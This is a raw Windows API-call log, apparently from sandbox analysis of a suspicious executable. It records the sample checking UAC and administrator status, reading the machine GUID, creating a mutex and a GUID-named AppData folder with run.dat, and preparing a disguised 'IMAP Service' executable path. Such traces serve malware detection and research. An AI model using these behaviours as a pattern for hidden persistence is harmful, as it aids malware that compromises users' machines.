GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18f0bc | out: lpwndpl=0x18f0bc) returned 1 [0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf120, uEnable=0x0) returned 0 [0162.359] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0162.360] ShowWindow (hWnd=0x301b6, nCmdShow=2) returned 0 [0162.360] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18f138) returned 0x0 [0162.361] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18eef8 | out: lpwndpl=0x18eef8) returned 1 [0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18f138) returned 0x0 [0162.361] GetClientRect (in: hWnd=0x301b6, lpRect=0x18ee94 | out: lpRect=0x18ee94) returned 1 [0162.361] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18ee94 | out: lpRect=0x18ee94) returned 1 [0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.361] GetWindowTextLengthW (hWnd=0x301b6) returned 0 [0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.361] GetSystemMetrics (nIndex=42) returned 0 [0162.361] GetWindowTextW (in: hWnd=0x301b6, lpString=0x612688, nMaxCount=1 | out: lpString="") returned 0 [0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x612688) returned 0x0 [0162.361] SendMessageW (hWnd=0x301b6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0162.361] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0162.362] GetWindowThreadProcessId (in: hWnd=0x301b6, lpdwProcessId=0x18ee68 | out: lpdwProcessId=0x18ee68) returned 0xafc [0162.362] GetCurrentThreadId () returned 0xafc [0162.368] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc13a [0162.370] PostMessageW (hWnd=0x301b6, Msg=0xc13a, wParam=0x0, lParam=0x0) returned 1 [0162.371] OleInitialize (pvReserved=0x0) returned 0x80010106 [0162.371] GetLastError () returned 0x6 [0162.371] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x18f22c | out: lplpMessageFilter=0x18f22c*=0x0) returned 0x80004021 [0162.390] PeekMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18f204) returned 1 [0162.391] IsWindowUnicode (hWnd=0x301b6) returned 1 [0162.392] GetMessageW (in: lpMsg=0x18f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18f204) returned 1 [0162.392] TranslateMessage (lpMsg=0x18f204) returned 0 [0162.393] DispatchMessageW (lpMsg=0x18f204) returned 0x0 [0162.406] GetFocus () returned 0x0 [0162.406] ShowWindow (hWnd=0x301b6, nCmdShow=0) returned 1 [0162.406] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0162.406] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18e8b8) returned 0x0 [0162.406] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18e678 | out: lpwndpl=0x18e678) returned 1 [0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18e8b8) returned 0x0 [0162.407] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e614 | out: lpRect=0x18e614) returned 1 [0162.407] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e614 | out: lpRect=0x18e614) returned 1 [0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0 [0162.407] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x3, wParam=0x0, lParam=0x83008300) returned 0x0 [0162.407] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e650 | out: lpRect=0x18e650) returned 1 [0162.407] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e650 | out: lpRect=0x18e650) returned 1 [0162.776] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b [0162.776] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e4d0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0162.776] GetLastError () returned 0x0 [0162.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x18e48c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x30 [0162.776] GetLastError () returned 0x0 [0162.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x18e4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x30 [0162.776] GetLastError () returned 0x0 [0162.777] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp")) returned 1 [0162.777] GetLastError () returned 0x0 [0163.026] FindResourceExA (hModule=0x0, lpType=0xa, lpName=0x1, wLanguage=0x0) returned 0x422048 [0163.028] LoadResource (hModule=0x0, hResInfo=0x422048) returned 0x422058 [0163.029] SizeofResource (hModule=0x0, hResInfo=0x422048) returned 0x15f68 [0163.031] LockResource (hResData=0x422058) returned 0x422058 [0163.097] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0163.097] GetLastError () returned 0x0 [0163.147] CryptAcquireContextW (in: phProv=0x18e7bc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18e7bc*=0x664dd8) returned 1 [0163.748] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x18e88c | out: pfEnabled=0x18e88c) returned 0x0 [0168.067] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18d1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a [0168.067] GetLastError () returned 0x0 [0169.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x18d17c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll", lpFilePart=0x0) returned 0x4a [0169.093] GetLastError () returned 0x0 [0169.607] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{70e0240c-77de-4f81-ac5c-cb838d2319d3}") returned 0x1ec [0169.607] GetLastError () returned 0x0 [0170.051] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x18e964 | out: phkResult=0x18e964*=0x1f0) returned 0x0 [0170.053] RegQueryValueExA (in: hKey=0x1f0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e95c, lpData=0x0, lpcbData=0x18e960*=0x0 | out: lpType=0x18e95c*=0x1, lpData=0x0, lpcbData=0x18e960*=0x25) returned 0x0 [0170.053] RegQueryValueExA (in: hKey=0x1f0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x18e95c, lpData=0x612668, lpcbData=0x18e960*=0x25 | out: lpType=0x18e95c*=0x1, lpData="0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpcbData=0x18e960*=0x25) returned 0x0 [0170.054] RegCloseKey (hKey=0x1f0) returned 0x0 [0170.066] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e90c | out: phkResult=0x18e90c*=0x1f0) returned 0x0 [0170.066] RegQueryValueExW (in: hKey=0x1f0, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18e948, lpData=0x0, lpcbData=0x18e944*=0x0 | out: lpType=0x18e948*=0x4, lpData=0x0, lpcbData=0x18e944*=0x4) returned 0x0 [0170.067] RegQueryValueExW (in: hKey=0x1f0, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18e948, lpData=0x18e934, lpcbData=0x18e944*=0x4 | out: lpType=0x18e948*=0x4, lpData=0x18e934*=0x1, lpcbData=0x18e944*=0x4) returned 0x0 [0170.095] GetVersionExW (in: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0170.095] GetLastError () returned 0x0 [0170.096] GetCurrentProcess () returned 0xffffffff [0170.096] GetLastError () returned 0x3f0 [0170.098] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18e8d8 | out: TokenHandle=0x18e8d8*=0x1f4) returned 1 [0170.098] GetLastError () returned 0x3f0 [0170.100] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18e930 | out: TokenInformation=0x0, ReturnLength=0x18e930) returned 0 [0170.100] GetLastError () returned 0x7a [0170.101] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x6506f0 [0170.101] GetLastError () returned 0x7a [0170.101] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x6506f0, TokenInformationLength=0x4, ReturnLength=0x18e930 | out: TokenInformation=0x6506f0, ReturnLength=0x18e930) returned 1 [0170.101] GetLastError () returned 0x7a [0170.103] DuplicateTokenEx (in: hExistingToken=0x1f4, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x18e8e8 | out: phNewToken=0x18e8e8*=0x1f8) returned 1 [0170.103] GetLastError () returned 0x7f [0170.103] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18e930 | out: TokenInformation=0x0, ReturnLength=0x18e930) returned 0 [0170.103] GetLastError () returned 0x7a [0170.103] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x650700 [0170.103] GetLastError () returned 0x7a [0170.103] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x8, TokenInformation=0x650700, TokenInformationLength=0x4, ReturnLength=0x18e930 | out: TokenInformation=0x650700, ReturnLength=0x18e930) returned 1 [0170.103] GetLastError () returned 0x7a [0170.104] CheckTokenMembership (in: TokenHandle=0x1f8, SidToCheck=0x232b990*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e8c4 | out: IsMember=0x18e8c4) returned 1 [0170.104] GetLastError () returned 0x7a [0170.105] CloseHandle (hObject=0x1f8) returned 1 [0170.105] GetLastError () returned 0x7a [0170.106] GetCurrentProcess () returned 0xffffffff [0170.136] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x612688 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0 [0170.136] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x18e41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpFilePart=0x0) returned 0x2d [0170.136] GetLastError () returned 0x3f0 [0170.137] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F", nBufferLength=0x105, lpBuffer=0x18e490, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F", lpFilePart=0x0) returned 0x52 [0170.137] GetLastError () returned 0x3f0 [0170.137] SetErrorMode (uMode=0x1) returned 0x0 [0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.138] GetLastError () returned 0x2 [0170.138] SetErrorMode (uMode=0x0) returned 0x1 [0170.138] SetErrorMode (uMode=0x1) returned 0x0 [0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31f52370, ftLastAccessTime.dwHighDateTime=0x1d3f29b, ftLastWriteTime.dwLowDateTime=0x31f52370, ftLastWriteTime.dwHighDateTime=0x1d3f29b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0170.138] GetLastError () returned 0x2 [0170.138] SetErrorMode (uMode=0x0) returned 0x1 [0170.138] SetErrorMode (uMode=0x1) returned 0x0 [0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.138] GetLastError () returned 0x2 [0170.138] SetErrorMode (uMode=0x0) returned 0x1 [0170.138] SetErrorMode (uMode=0x1) returned 0x0 [0170.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0170.138] GetLastError () returned 0x2 [0170.138] SetErrorMode (uMode=0x0) returned 0x1 [0170.138] SetErrorMode (uMode=0x1) returned 0x0 [0170.139] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x18e8ac | out: lpFileInformation=0x18e8ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0170.139] GetLastError () returned 0x2 [0170.139] SetErrorMode (uMode=0x0) returned 0x1 [0170.140] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpSecurityAttributes=0x0) returned 1 [0170.140] GetLastError () returned 0x2 [0170.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", nBufferLength=0x105, lpBuffer=0x18e484, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", lpFilePart=0x0) returned 0x5a [0170.156] GetLastError () returned 0x2 [0170.156] SetErrorMode (uMode=0x1) returned 0x0 [0170.157] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\run.dat"), fInfoLevelId=0x0, lpFileInformation=0x18e904 | out: lpFileInformation=0x18e904*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.157] GetLastError () returned 0x2 [0170.157] SetErrorMode (uMode=0x0) returned 0x1 [0170.157] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", nBufferLength=0x105, lpBuffer=0x18e36c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat", lpFilePart=0x0) returned 0x5a [0170.157] GetLastError () returned 0x2 [0170.157] SetErrorMode (uMode=0x1) returned 0x0 [0170.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\run.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\run.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1f8 [0170.160] GetLastError () returned 0x0 [0170.160] GetFileType (hFile=0x1f8) returned 0x1 [0170.160] SetErrorMode (uMode=0x0) returned 0x1 [0170.160] GetFileType (hFile=0x1f8) returned 0x1 [0170.161] WriteFile (in: hFile=0x1f8, lpBuffer=0x232d8bc*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e894, lpOverlapped=0x0 | out: lpBuffer=0x232d8bc*, lpNumberOfBytesWritten=0x18e894*=0x8, lpOverlapped=0x0) returned 1 [0170.162] GetLastError () returned 0x0 [0170.162] CloseHandle (hObject=0x1f8) returned 1 [0170.164] GetLastError () returned 0x0 [0170.373] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x612688 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0170.375] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x18e478, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0170.375] GetLastError () returned 0x3f0 [0170.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Exceptions\\1.2.2.0", nBufferLength=0x105, lpBuffer=0x18e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Exceptions\\1.2.2.0", lpFilePart=0x0) returned 0x65 [0170.485] GetLastError () returned 0x3f0 [0170.485] SetErrorMode (uMode=0x1) returned 0x0 [0170.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0303D5B4-FFE9-470E-9DD8-7D9EC416E53F\\Exceptions\\1.2.2.0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0303d5b4-ffe9-470e-9dd8-7d9ec416e53f\\exceptions\\1.2.2.0"), fInfoLevelId=0x0, lpFileInformation=0x18e940 | out: lpFileInformation=0x18e940*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.485] GetLastError () returned 0x3 [0170.485] SetErrorMode (uMode=0x0) returned 0x1 [0170.547] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service", nBufferLength=0x105, lpBuffer=0x18e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service", lpFilePart=0x0) returned 0x23 [0170.547] GetLastError () returned 0x3 [0170.547] SetErrorMode (uMode=0x1) returned 0x0 [0170.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service" (normalized: "c:\\program files (x86)\\imap service"), fInfoLevelId=0x0, lpFileInformation=0x18e8dc | out: lpFileInformation=0x18e8dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.547] GetLastError () returned 0x2 [0170.547] SetErrorMode (uMode=0x0) returned 0x1 [0170.547] SetErrorMode (uMode=0x1) returned 0x0 [0170.547] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), fInfoLevelId=0x0, lpFileInformation=0x18e8dc | out: lpFileInformation=0x18e8dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0170.547] GetLastError () returned 0x2 [0170.547] SetErrorMode (uMode=0x0) returned 0x1 [0170.547] CreateDirectoryW (lpPathName="C:\\Program Files (x86)\\IMAP Service" (normalized: "c:\\program files (x86)\\imap service"), lpSecurityAttributes=0x0) returned 1 [0170.547] GetLastError () returned 0x2 [0170.558] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e484, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x2e [0170.558] GetLastError () returned 0x2 [0170.558] SetErrorMode (uMode=0x1) returned 0x0 [0170.558] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe" (normalized: "c:\\program files (x86)\\imap service\\imapsv.exe"), fInfoLevelId=0x0, lpFileInformation=0x18e904 | out: lpFileInformation=0x18e904*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0170.558] GetLastError () returned 0x2 [0170.558] SetErrorMode (uMode=0x0) returned 0x1 [0170.558] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", nBufferLength=0x105, lpBuffer=0x18e4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe", lpFilePart=0x0) returned 0x2e [0170.558] GetLastError () returned 0x2 [0170.558] DeleteFileW (lpFileName="C:\\Program Files (x86)\\IMAP Service\\imapsv.exe" (normalized: "c:\\program files (x86)\\imap service\\imapsv.exe")) returned 0 [0170.558] GetLastError () returned 0x2 [0170.559] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x612688, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\hsbftstclaogdeeotf.exe")) returned 0x3b [0171.258] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18e458, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0171.258] GetLastError () returned 0x0 [0171.258] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0171.258] GetLastError () returned 0x0 [0171.315] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", nBufferLength=0x105, lpBuffer=0x18e454, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", lpFilePart=0x0) returned 0x47 [0171.315] GetLastError () returned 0x0 [0171.315] 